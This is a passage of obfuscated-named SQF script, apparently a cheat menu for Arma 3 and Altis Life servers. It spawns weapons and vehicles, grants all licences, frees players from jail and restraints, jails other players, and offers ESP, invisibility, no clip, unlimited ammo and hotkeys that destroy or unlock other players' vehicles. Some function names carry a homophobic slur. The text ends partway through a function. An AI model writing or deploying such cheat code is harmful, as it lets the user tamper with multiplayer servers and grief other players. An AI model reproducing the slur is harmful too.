- _wset addHeadgear "H_Beret_02";
- _wset addGoggles "G_Sport_Blackred";
- _wset addUniform "U_IG_Guerilla3_1";
- _wset addVest "V_BandollierB_cbr";
- _wset addBackpack "B_Carryall_ocamo";
- _wset addWeapon "NVGoggles";
- _wset addWeapon "Rangefinder";
- _wset addMagazine "30Rnd_556x45_Stanag";
- _wset addweapon "arifle_TRG21_ACO_pointer_F";
- _wset addMagazine "30Rnd_9x21_Mag";
- _wset addweapon "hgun_P07_F";
- _wset addMagazine "NLAW_F";
- _wset addweapon "launch_NLAW_F";
- _wset addPrimaryWeaponItem "optic_Aco";
- _wset addPrimaryWeaponItem "muzzle_snds_M";
- _wset addHandgunItem "muzzle_snds_L";
- _wset addWeaponGlobal "ItemCompass";
- _wset addWeaponGlobal "ItemMap";
- _wset addWeaponGlobal "Itemgps";
- _wset addWeaponGlobal "ItemWatch";
- _wset addWeaponGlobal "itemradio";
- (unitBackpack _wset) additemCargo["FirstAidKit", 2];
- (unitBackpack _wset) additemCargo["30Rnd_556x45_Stanag", 9];
- (unitBackpack _wset) additemCargo["30Rnd_9x21_Mag", 9];
- (unitBackpack _wset) additemCargo["handGrenade", 2];
- (unitBackpack _wset) additemCargo["NLAW_F", 2];
- hint "TAR Loadout";
- };
- };
- NNNN_IGGG___EEEEEEE_UNDERWATERP = {
- [] spawn {
- _wset = player;
- removeAllWeapons _wset;
- removeAllItems _wset;
- removebackpack _wset;
- removeAllAssignedItems _wset;
- _wset addHeadgear "H_Beret_02";
- _wset addGoggles "G_Diving";
- _wset addUniform "U_I_Wetsuit";
- _wset addVest "V_RebreatherB";
- _wset addBackpack "B_AssaultPack_blk_DiverExp";
- _wset addWeapon "Rangefinder";
- _wset addMagazine "30Rnd_556x45_Stanag_Tracer_Red";
- _wset addweapon "arifle_SDAR_F";
- _wset addMagazine "30Rnd_9x21_Mag";
- _wset addweapon "hgun_P07_F";
- _wset addPrimaryWeaponItem "muzzle_snds_B";
- _wset addPrimaryWeaponItem "acc_pointer_IR";
- _wset addHandgunItem "muzzle_snds_L";
- _wset addWeaponGlobal "ItemCompass";
- _wset addWeaponGlobal "ItemMap";
- _wset addWeaponGlobal "Itemgps";
- _wset addWeaponGlobal "ItemWatch";
- _wset addWeaponGlobal "itemradio";
- (unitBackpack _wset) additemCargo["FirstAidKit", 2];
- (unitBackpack _wset) additemCargo["30Rnd_556x45_Stanag_Tracer_Red", 9];
- (unitBackpack _wset) additemCargo["30Rnd_9x21_Mag", 9];
- (unitBackpack _wset) additemCargo["handGrenade", 2];
- (unitBackpack _wset) additemCargo["NLAW_F", 2];
- hint "Underwater Loadout";
- };
- };
- NNNN_IGGG___EEEEEEE_ALTISP = {
- _wset = player;
- removeallweapons _wset;
- removeVest _wset;
- _wset addVest "V_Rangemaster_belt";
- removebackpack _wset;
- removeuniform _wset;
- _wset addUniform "U_Rangemaster";
- _wset addWeapon "hgun_P07_snds_F";
- player addWeapon "Binocular";
- _magazines = getArray(configFile >> "CfgWeapons" >> "hgun_P07_snds_F" >> "magazines");
- {
- player addmagazine _x;
- player addmagazine _x;
- player addmagazine _x;
- player addmagazine _x;
- }
- foreach _magazines;
- reload player;
- };
- };
- ['Altis Life'] call {
- NNNN_IGGG___EEEEEEE_AL_Heal = {
- life_thirst = 100;
- life_hunger = 100;
- player setFatigue 0;
- [[player,"bandage"],"fnc_say3D",nil,false] spawn BIS_fnc_MP;
- antidote1 = 2581;
- sleep 0.1;
- player setDamage 0;
- sleep 0.1;
- [true] call life_fnc_sessionUpdate;
- [] call life_fnc_hudUpdate;
- ["TaskSucceeded", ["", "Healed"]] call bis_fnc_showNotification;
- };
- NNNN_IGGG___EEEEEEE_AL_Liscenses = {
- {
- missionnamespace setVariable[(_x select 0), true];
- }
- foreach life_licenses;
- ["TaskSucceeded", ["", "Liscenses Added"]] call bis_fnc_showNotification;
- };
- NNNN_IGGG___EEEEEEE_AL_Drink = {
- life_thirst = 100;
- ["TaskSucceeded", ["", "Thirst Replenished"]] call bis_fnc_showNotification;
- };
- NNNN_IGGG___EEEEEEE_AL_Eat = {
- life_hunger = 100;
- ["TaskSucceeded", ["", "Hunger Replenished"]] call bis_fnc_showNotification;
- };
- NNNN_IGGG___EEEEEEE_AL_NoIllegal = {
- life_illegal_items = [];
- ["TaskSucceeded", ["", "No items are illegal now!"]] call bis_fnc_showNotification;
- };
- NNNN_IGGG___EEEEEEE_AL_NoWeight = {
- if (NNNN_IGGG___EEEEEEE_AL_NoWeight_toggle) then {
- ["TaskSucceeded", ["", "You now have no max weight!"]] call bis_fnc_showNotification;
- while {
- NNNN_IGGG___EEEEEEE_AL_NoWeight_toggle
- }
- do {
- life_maxWeight = 1000000000000000000;
- life_maxWeightT = 1000000000000000000;
- life_carryWeight = 0;
- };
- } else {
- ["TaskSucceeded", ["", "Max weight recreated!"]] call bis_fnc_showNotification;
- life_maxWeight = 24;
- life_maxWeightT = 24;
- life_carryWeight = 0;
- };
- };
- NNNN_IGGG___EEEEEEE_AL_SuperFoods = {
- ["TaskSucceeded", ["", "Food now fully restores hunger!"]] call bis_fnc_showNotification;
- life_eat_Salema = 100;
- life_eat_Ornate = 100;
- life_eat_Mackerel = 100;
- life_eat_Tuna = 100;
- life_eat_Mullet = 100;
- life_eat_CatShark = 100;
- life_eat_Rabbit = 100;
- life_eat_Apple = 100;
- life_eat_turtlesoup = 100;
- life_eat_donuts = 100;
- };
- NNNN_IGGG___EEEEEEE_AL_Unrestrain = {
- player setVariable["restrained", false, true];
- ["TaskSucceeded", ["", "Press V to escape restraints"]] call bis_fnc_showNotification;
- };
- NNNN_IGGG___EEEEEEE_AL_NoEscort = {
- player setVariable["Escorting", false, true];
- detach player;
- ["TaskSucceeded", ["", "No Longer Being Escorted"]] call bis_fnc_showNotification;
- };
- NNNN_IGGG___EEEEEEE_AL_NoTransport = {
- player setVariable["transporting", false, true];
- ["TaskSucceeded", ["", "No Longer Being Transported"]] call bis_fnc_showNotification;
- };
- NNNN_IGGG___EEEEEEE_AL_NoTaze = {
- life_fnc_tazed = nil;
- ["TaskSucceeded", ["", "You can no longer be tazed"]] call bis_fnc_showNotification;
- };
- NNNN_IGGG___EEEEEEE_AL_Impound = {
- _this spawn life_fnc_impoundAction;
- ["TaskSucceeded", ["", "Vehicle impounded"]] call bis_fnc_showNotification;
- };
- NNNN_IGGG___EEEEEEE_X_TASY_IS_GAY__Genstore = {
- hint "General Store Menu";
- player addAction["<t color='#FF4000'>General Store</t>", life_fnc_weaponShopMenu, "genstore"];
- };
- NNNN_IGGG___EEEEEEE_X_TASY_IS_GAY__Vetement = {
- hint "Clothing Store Menu";
- player addAction["<t color='#FF4000'>Clothing Store</t>", life_fnc_clothingMenu, "bruce"];
- };
- NNNN_IGGG___EEEEEEE_X_TASY_IS_GAY__Market = {
- hint "Market Menu";
- player addAction["<t color='#FF4000'>Market</t>", life_fnc_virt_menu, "market"];
- };
- NNNN_IGGG___EEEEEEE_X_TASY_IS_GAY__Atm = {
- hint "ATM Menu Enabled!";
- player addAction["<t color='#ADFF2F'>ATM</t>", life_fnc_atmMenu];
- };
- NNNN_IGGG___EEEEEEE_AL_removestore = {
- removeAllActions player;
- };
- NNNN_IGGG___EEEEEEE_X_TASY_IS_GAY__StopEscortPlayer = {
- hint "Cursor Detached";
- detach cursorTarget;
- cursorTarget setVariable["Escorting", false, true];
- cursorTarget setVariable["restrained", false, true];
- };
- NNNN_IGGG___EEEEEEE_X_TASY_IS_GAY__JailEscape = {
- hint "Escape From Jail";
- serv_wanted_remove = [player];
- player setPos(getMarkerPos "jail_release");
- [
- [getPlayerUID player], "life_fnc_wantedRemove", false, false
- ];
- };
- NNNN_IGGG___EEEEEEE_X_TASY_IS_GAY__JailPlayer = {
- hint "Jail Player Cursor Target Enabled!";
- cursorTarget setPos(getMarkerPos "jail_marker");
- };
- };
- };
- NNNN_IGGG___EEEEEEE_ANAL_PLOW = {
- ['Colours'] call {
- disableSerialization;
- font = "Default";
- NNNN_IGGG___EEEEEEE_Red = [random 1, random 1, random 1, 1];
- NNNN_IGGG___EEEEEEE_Blue = [0, 0, 1, 1];
- NNNN_IGGG___EEEEEEE_menu_title = [0.72,0.49,0.71,1];
- NNNN_IGGG___EEEEEEE_MENU_Sub = [0.44, 1, 0.91, 1];
- NNNN_IGGG___EEEEEEE_menu_toggle_on = [0, 1, 0, 1];
- NNNN_IGGG___EEEEEEE_menu_toggle_off = [0.99, 0.14, 0.12, 1];
- NNNN_IGGG___EEEEEEE_menu_run = [1, 1, 1, 1];
- NNNN_IGGG___EEEEEEE_Bluefor_player = [0, 0.5, 1, 1];
- NNNN_IGGG___EEEEEEE_opfor_plr = [1, 0.2, 0.2, 1];
- NNNN_IGGG___EEEEEEE_resistance_plr = [0, 0.65, 0, 1];
- NNNN_IGGG___EEEEEEE_civilian_plr = [1, 1, 1, 1];
- NNNN_IGGG___EEEEEEE_M_E_N_U_funcs_inited = true;
- NNNN_IGGG___EEEEEEE_Sub = false;
- };
- ['Funcs'] call {
- NNNN_IGGG___EEEEEEE_M_E_N_U_initMenu = {
- _l77 = 1000 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- _l77 ctrlSetText "_7M3 v3.1.3";
- _l77 ctrlSetTextColor[0,0,0,1];
- _l77 ctrlSetFontHeight 0.05;
- _l77 ctrlSetFont "TahomaB";
- _l77 ctrlCommit 0.01;
- _l77 = 1001 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- _l77 ctrlSetText "Hax";
- _l77 ctrlSetFont "TahomaB";
- _l77 ctrlSetTextColor[0.99, 0.96, 0.2, 1];
- _l77 ctrlCommit 0.01;
- _l77 = 1002 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- _l77 ctrlSetText "Playerz";
- _l77 ctrlSetFont "TahomaB";
- _l77 ctrlSetTextColor[0.99, 0.96, 0.2, 1];
- _l77 ctrlCommit 0.01;
- _l77 = 115003 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- _l77 ctrlSetPosition [0, 0, 0,1];
- _l77 ctrlCommit 0.01;
- _l77 = 1080 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- _l77 ctrlShow false;
- _l77 ctrlCommit 0.01;
- _l77 = 1081 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- _l77 ctrlSetBackgroundColor [0,0,0,1];
- _l77 ctrlCommit 0.01;
- _l77 = 601 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- _l77 ctrlSetTextColor[0,0,0,1];
- _l77 ctrlSetFontHeight 0.03;
- _l77 ctrlSetFont "TahomaB";
- _l77 ctrlCommit 0.01;
- _l77 = 101 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- _l77 ctrlShow false;
- _l77 ctrlCommit 0.01;
- _l77 = 1 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- _l77 ctrlShow false;
- _l77 ctrlCommit 0.01;
- _l77 = 2 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- _l77 ctrlShow false;
- _l77 ctrlCommit 0.01;
- _l77 = 102 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- _l77 ctrlShow true;
- _l77 ctrlCommit 0.01;
- _l77 = 102 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- _l77 ctrlSetFontHeight 0.04;
- _l77 ctrlSetFont "PuristaBold";
- _l77 ctrlCommit 0;
- _l77 ctrlCommit 0.01;
- _l77 ctrlSetEventHandler["LBDblClick", "call NNNN_IGGG___EEEEEEE_M_E_N_U_hax_dbclick;"];
- _l77 ctrlCommit 0.01;
- _l77 ctrlSetEventHandler["LBSelChanged", "call NNNN_IGGG___EEEEEEE_Menu_Click_Hax;"];
- _l77 ctrlCommit 0.001;
- (findDisplay 131) displaySetEventHandler['Unload', 'showChat true'];
- call NNNN_IGGG___EEEEEEE_M_E_N_U_fillHax;
- call NNNN_IGGG___EEEEEEE_M_E_N_U_fill_Plrs;
- };
- NNNN_IGGG___EEEEEEE_M_E_N_U_getControl = {
- (findDisplay 131) displayCtrl _this;
- };
- NNNN_IGGG___EEEEEEE_M_E_N_U_hax_dbclick = {
- _l26340 = false;
- _l26341 = NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7 + 1;
- _l26342 = NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7 + 2;
- _l26343 = NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7 + 3;
- _l26344 = NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7 + 4;
- _l26345 = NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7 + 5;
- if (_l26343 == "1") exitWith {};
- if (_l26344 == "1") then {
- if (_l26341 == "Vehicles") exitWith {
- call NNNN_IGGG___EEEEEEE_M_E_N_U_fill_Vehicles
- };
- if (_l26341 == "Objects") exitWith {
- call NNNN_IGGG___EEEEEEE_M_E_N_U_fill_Objects
- };
- if (_l26341 == "Weaponz") exitWith {
- call NNNN_IGGG___EEEEEEE_M_E_N_U_fill_Weapons
- };
- if (_l26341 == "Main_menu") exitWith {
- call NNNN_IGGG___EEEEEEE_M_E_N_U_fillHax
- };
- if (_l26341 == "Funmenu") exitWith {
- call NNNN_IGGG___EEEEEEE_M_E_N_U_fill_TROLLmenu
- };
- if (_l26341 == "Target") exitWith {
- call NNNN_IGGG___EEEEEEE_M_E_N_U_fill_Target
- };
- if (_l26341 == "All") exitWith {
- call NNNN_IGGG___EEEEEEE_M_E_N_U_fill_All
- };
- if (_l26341 == "BACK") exitWith {
- call NNNN_IGGG___EEEEEEE_M_E_N_U_fillHax
- };
- };
- if (NNNN_IGGG___EEEEEEE_Sub) then {
- call compile format["%1;", _l26341];
- _l26340 = true;
- };
- if (_l26342 == "1") then {
- call compile format["%1;", _l26341];
- _l26340 = true;
- _l26346 = lbData[102, (lbCurSel 102)];
- if (_l26346 == "NNNN_IGGG___EEEEEEE_nottoggled") then {
- lbSetData[104, (lbCurSel 102), "NNNN_IGGG___EEEEEEE_toggled"];
- lbSetColor[104, (lbCurSel 102), NNNN_IGGG___EEEEEEE_menu_toggle_on];
- NNNN_IGGG___EEEEEEE_M_E_N_U_hax_toggled = NNNN_IGGG___EEEEEEE_M_E_N_U_hax_toggled + [(lbCurSel 102)];
- } else {
- lbSetData[102, (lbCurSel 102), "NNNN_IGGG___EEEEEEE_nottoggled"];
- lbSetColor[102, (lbCurSel 102), NNNN_IGGG___EEEEEEE_menu_toggle_off];
- NNNN_IGGG___EEEEEEE_M_E_N_U_hax_toggled = NNNN_IGGG___EEEEEEE_M_E_N_U_hax_toggled - [(lbCurSel 102)];
- };
- _l77 = 102 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- _l77 ctrlCommit 0.01;
- };
- if (_l26345 == "1") then {
- if ((lbCurSel 102) >= 0) then {
- call compile format["[""%1""]%2;", lbtext[102, (lbCurSel 102)], _l26341];
- _l26340 = true;
- } else {
- hint "Script requires a player!";
- _l26340 = true;
- };
- };
- if (_l26345 == "0"
- and!_l26340) then {
- call compile format["%1;", _l26341];
- };
- };
- NNNN_IGGG___EEEEEEE_Menu_Click_Hax = {
- _l26340 = false;
- _l26341 = NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7 + 1;
- _l26342 = NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7 + 2;
- _l26343 = NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7 + 3;
- _l26344 = NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7 + 4;
- _l26345 = NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7 + 5;
- if (((gettext(configFile >> 'cfgWeapons' >> (NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7) >> 'picture')) == '') && ((gettext(configFile >> 'CfgVehicles' >> (NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7) >> 'picture')) == '')) then {
- _l26347 = "JM3.paa";
- _l26348 = format["NNNN_IGGG___EEEEEEE_M_E_N_U_getControl={(findDisplay 131)displayCtrl _this;};_l77=138 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;_l77 ctrlSetText'Δ΄ΠΌΔ SUB MENU LOADED';_l77 ctrlCommit 0.01;_l77=140 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;_l77 ctrlSetText'';_l77 ctrlCommit 0.01;_l77=139 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;_l77 ctrlSetText'%1';", _l26347];
- call compile format["%1;", _l26348];
- };
- if ((gettext(configFile >> 'CfgVehicles' >> (NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7) >> 'picture')) != '') then {
- _l26349 = (gettext(configFile >> 'CfgVehicles' >> (NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7) >> 'Library' >> 'libTextDesc'));
- _l26350 = (gettext(configFile >> 'CfgVehicles' >> (NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7) >> 'displayName'));
- _l26351 = (gettext(configFile >> 'CfgVehicles' >> (NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7) >> 'picture'));
- _l26348 = format["NNNN_IGGG___EEEEEEE_M_E_N_U_getControl={(findDisplay 131)displayCtrl _this;};_l77=138 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;_l77 ctrlSetText'%1';_l77 ctrlCommit 0.01;_l77=140 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;_l77 ctrlSetText'%2';_l77 ctrlCommit 0.01;_l77=139 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;_l77 ctrlSetText'%3';", _l26350, _l26349, _l26351];
- call compile format["%1;", _l26348];
- _l26340 = true;
- };
- if ((gettext(configFile >> 'cfgWeapons' >> (NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7) >> 'picture')) != '') then {
- _l26352 = (gettext(configFile >> 'cfgWeapons' >> (NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7) >> 'Library' >> 'libTextDesc'));
- _l26353 = (gettext(configFile >> 'cfgWeapons' >> (NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7) >> 'displayName'));
- _l26354 = (gettext(configFile >> 'cfgWeapons' >> (NNNN_IGGG___EEEEEEE_OPTIONS select((lbCurSel 102)) * 7) >> 'Picture'));
- _l26355 = format["NNNN_IGGG___EEEEEEE_M_E_N_U_getControl={(findDisplay 131)displayCtrl _this;};_l77=138 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;_l77 ctrlSetText'%1';_l77 ctrlCommit 0.01;_l77=140 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;_l77 ctrlSetText'%2';_l77 ctrlCommit 0.01;_l77=139 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;_l77 ctrlSetText'%3';", _l26353, _l26352, _l26354];
- call compile format["%1;", _l26355];
- _l26340 = true;
- };
- };
- };
- ['Menus'] call {
- NNNN_IGGG___EEEEEEE_M_E_N_U_fillHax = {
- NNNN_IGGG___EEEEEEE_Sub = false;
- _l77 = 102 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- lbclear _l77;
- NNNN_IGGG___EEEEEEE_OPTIONS = [];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== MAIN MENU ===", "Main_Menu", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TROLL MENU ===", "Funmenu", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TARGET PLAYER ===", "Target", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TARGET ALL ===", "All", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== VEHICLE SPAWN ===", "Vehicles", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== OBJECT SPAWN ===", "Objects", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== WEAPON SPAWN ===", "Weaponz", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=========================", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["== SCRIPTS ==", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Jesus", "[]spawn NNNN_IGGG___EEEEEEE_JNESUS_MODE", "1", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Car Jesus", "[]spawn NNNN_IGGG___EEEEEEE_CarJNESUS_MODE", "1", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["E5P", "[]spawn NNNN_IGGG___EEEEEEE_E5P", "1", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Player Markers", "[]spawn NNNN_IGGG___EEEEEEE_PlayerM", "1", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Vehicle Markers", "[]spawn NNNN_IGGG___EEEEEEE_VehM", "1", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Unlimted Ammo", "[]spawn NNNN_IGGG___EEEEEEE_UNLIM", "1", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["No Recoil", "[]spawn NNNN_IGGG___EEEEEEE_NoRecoil", "1", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Rapid Fire", "[]spawn NNNN_IGGG___EEEEEEE_QuickFire", "1", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Explosive Shots", "[]spawn NNNN_IGGG___EEEEEEE_BigFcknBullets", "1", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["No Clip", "[]spawn NNNN_IGGG___EEEEEEE_CLIP", "1", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Nitro", "[]spawn NNNN_IGGG___EEEEEEE_SpeedyGonzales", "1", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Invisibility", "[]spawn NNNN_IGGG___EEEEEEE_Invisable", "1", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Fly", "[]spawn NNNN_IGGG___EEEEEEE_fly", "1", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["No Grass", "[]spawn NNNN_IGGG___EEEEEEE_grass", "1", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Teleport", "[]spawn NNNN_IGGG___EEEEEEE_Tele", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Heal", "[]spawn NNNN_IGGG___EEEEEEE_HealSelf", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["== LOADOUTS ==", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["LRR", "[]spawn NNNN_IGGG___EEEEEEE_LRRP", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["DMR", "[]spawn NNNN_IGGG___EEEEEEE_DMRP", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["EBR", "[]spawn NNNN_IGGG___EEEEEEE_EBRP", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["PDW", "[]spawn NNNN_IGGG___EEEEEEE_PDWP", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Heavy", "[]spawn NNNN_IGGG___EEEEEEE_HEAVYP", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["MXM", "[]spawn NNNN_IGGG___EEEEEEE_MXMP", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["TRG 21", "[]spawn NNNN_IGGG___EEEEEEE_TRGP", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Scuba Steve", "[]spawn NNNN_IGGG___EEEEEEE_UNDERWATERP", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Police Academy", "[]spawn NNNN_IGGG___EEEEEEE_ALTISP", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["F1 = OPEN MENU", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["F2 = TELEPORT", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["F3 = DESTROY CURSOR TARGET", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["F4 = UNLOCK VEHICLE CURSOR", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["F5 = DELETE CURSOR TARGET", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["F6 = RESTRAIN CURSOR TARGET", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["F7 = ESCORT CURSOR TARGET", "", "0", "1", "0", "0", []];;
- for [{
- _l26356 = 0
- }, {
- _l26356 <= count(NNNN_IGGG___EEEEEEE_OPTIONS) - 1
- }, {
- _l26356 = _l26356 + 7
- }] do {
- _l26357 = _l77 lbAdd format["%1", NNNN_IGGG___EEEEEEE_OPTIONS select _l26356];
- _l26358 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 2);
- _l26343 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 3);
- _l26344 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 4);
- _l26359 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 6);
- if (count _l26359 == 0) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_run];
- } else {
- _l77 lbSetColor[(lbsize _l77) - 1, _l26359];
- };
- if (_l26358 == "1") then {
- if (_l26357 in NNNN_IGGG___EEEEEEE_M_E_N_U_hax_toggled) then {
- _l77 lbSetData[(lbsize _l77) - 1, "NNNN_IGGG___EEEEEEE_toggled"];
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_toggle_on];
- } else {
- _l77 lbSetData[(lbsize _l77) - 1, "NNNN_IGGG___EEEEEEE_nottoggled"];
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_toggle_off];
- };
- };
- if (_l26343 == "1") then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_title];
- };
- if (_l26344 == "1") then {
